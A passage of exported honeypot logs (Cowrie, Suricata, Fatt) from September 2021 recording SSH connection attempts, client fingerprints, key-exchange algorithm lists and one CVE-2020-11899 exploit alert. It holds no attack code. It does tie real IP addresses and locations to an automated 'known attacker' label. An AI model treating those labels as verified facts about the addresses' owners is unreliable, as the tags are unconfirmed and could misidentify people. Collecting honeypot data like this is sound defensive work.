"AAADzAYUycShwbGIVtt1bYCE+cmvggAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42594, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:22.916659Z", "@timestamp": "2021-09-20T12:19:22.916Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............V.um.........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
37115	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:22.729381+03	2021-09-20 15:30:03.227429+03	{"_id": "SwYlA3wBvYTbRNuEh2c7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42594, "timestamp": "2021-09-20T12:19:22.729381", "@timestamp": "2021-09-20T12:19:22.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37122	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:19:22.682648+03	2021-09-20 15:30:03.23843+03	{"_id": "QQYlA3wBvYTbRNuEhGf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53de83dc94c2", "@version": "1", "duration": 2.7678287029266357, "timestamp": "2021-09-20T12:19:22.682648Z", "@timestamp": "2021-09-20T12:19:22.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37116	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:19.916373+03	2021-09-20 15:30:03.229429+03	{"_id": "OgYlA3wBvYTbRNuEe2eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2332, "timestamp": "2021-09-20T12:19:19.916373", "@timestamp": "2021-09-20T12:19:19.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37117	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:19:19.915101+03	2021-09-20 15:30:03.23143+03	{"_id": "OwYlA3wBvYTbRNuEfWcr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "53de83dc94c2", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:19:19.915101Z", "@timestamp": "2021-09-20T12:19:19.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37118	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:19:20.19498+03	2021-09-20 15:30:03.23243+03	{"_id": "PQYlA3wBvYTbRNuEfWcr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "53de83dc94c2", "@version": "1", "timestamp": "2021-09-20T12:19:20.194980Z", "@timestamp": "2021-09-20T12:19:20.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37119	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:19:19.912283+03	2021-09-20 15:30:03.23343+03	{"_id": "PAYlA3wBvYTbRNuEfWcr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2332 (192.168.176.2:22) [session: 53de83dc94c2]", "session": "53de83dc94c2", "@version": "1", "protocol": "ssh", "src_port": 2332, "dest_port": 22, "timestamp": "2021-09-20T12:19:19.912283Z", "@timestamp": "2021-09-20T12:19:19.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37120	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:19:20.194268+03	2021-09-20 15:30:03.23543+03	{"_id": "PwYlA3wBvYTbRNuEfmcy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1412161562192245, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 2332, "dest_port": 22, "timestamp": "2021-09-20T12:19:20.194268Z", "@timestamp": "2021-09-20T12:19:20.194Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37123	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:19:22.725593+03	2021-09-20 15:30:03.239429+03	{"_id": "QgYlA3wBvYTbRNuEhGf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:42594 (192.168.176.2:22) [session: 80f3c8350e29]", "session": "80f3c8350e29", "@version": "1", "protocol": "ssh", "src_port": 42594, "dest_port": 22, "timestamp": "2021-09-20T12:19:22.725593Z", "@timestamp": "2021-09-20T12:19:22.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
37124	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:19:22.728558+03	2021-09-20 15:30:03.24143+03	{"_id": "QwYlA3wBvYTbRNuEhGf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "80f3c8350e29", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:19:22.728558Z", "@timestamp": "2021-09-20T12:19:22.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
37125	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:19:22.916558+03	2021-09-20 15:30:03.242429+03	{"_id": "RAYlA3wBvYTbRNuEhmcE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 263311497773033, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42594, "dest_port": 22, "timestamp": "2021-09-20T12:19:22.916558Z", "@timestamp": "2021-09-20T12:19:22.916Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
37126	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:19:22.916659+03	2021-09-20 15:30:03.244429+03	{"_id": "SAYlA3wBvYTbRNuEh2c6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42594, "dest_port": 22, "timestamp": "2021-09-20T12:19:22.916659", "@timestamp": "2021-09-20T12:19:22.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
37127	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:19:09.068363+03	2021-09-20 15:30:03.24543+03	{"_id": "EQYlA3wBvYTbRNuET2dM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:19:09.068363+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538794449675, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:19:09.068363Z", "@timestamp": "2021-09-20T12:19:09.068Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
37128	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:08.932606+03	2021-09-20 15:30:03.247427+03	{"_id": "HAYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "88f2e61a5a96", "@version": "1", "duration": 5.499811887741089, "timestamp": "2021-09-20T12:19:08.932606Z", "@timestamp": "2021-09-20T12:19:08.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37129	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:19:09.389611+03	2021-09-20 15:30:03.248428+03	{"_id": "IAYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:41308 (192.168.176.2:22) [session: 877a8c81009d]", "session": "877a8c81009d", "@version": "1", "protocol": "ssh", "src_port": 41308, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.389611Z", "@timestamp": "2021-09-20T12:19:09.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BY
37130	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:19:09.430322+03	2021-09-20 15:30:03.249427+03	{"_id": "JgYlA3wBvYTbRNuEU2c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:09.344650+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1609345657553482, "payload": 